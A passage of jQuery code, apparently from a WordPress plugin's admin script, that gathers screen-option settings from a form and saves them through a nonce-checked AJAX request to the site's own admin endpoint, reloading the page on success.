                saveOptions[element.id] = el.is(':checked') ? 'on': 'off';
            }else{
                saveOptions[element.id] = $(element).val();
            }
        });

        if(Object.keys(saveOptions).length > 0){
            $.ajax({
                type: "POST",
                url: ajaxurl,
                data: {
                    action: 'wpil_save_screen_options',
                    nonce: $(this).find('#screenoptionnonce').val(),
                    options: saveOptions,
                },
                error: function (jqXHR, textStatus, errorThrown) {
                    console.log(textStatus);
                },
                success: function(response){
                    if(!isJSON(response)){
                        response = extractAndValidateJSON(response, ['success']);
                    }

                    if(response.success){
                        window.location.reload();
                    }else{
                        savingScreenOptions = true;
                        form.submit();
                    }
                    console.log(response);
                }
            });
        }
    }

    /** /Ajax saving for Screen Options **/

})(jQuery);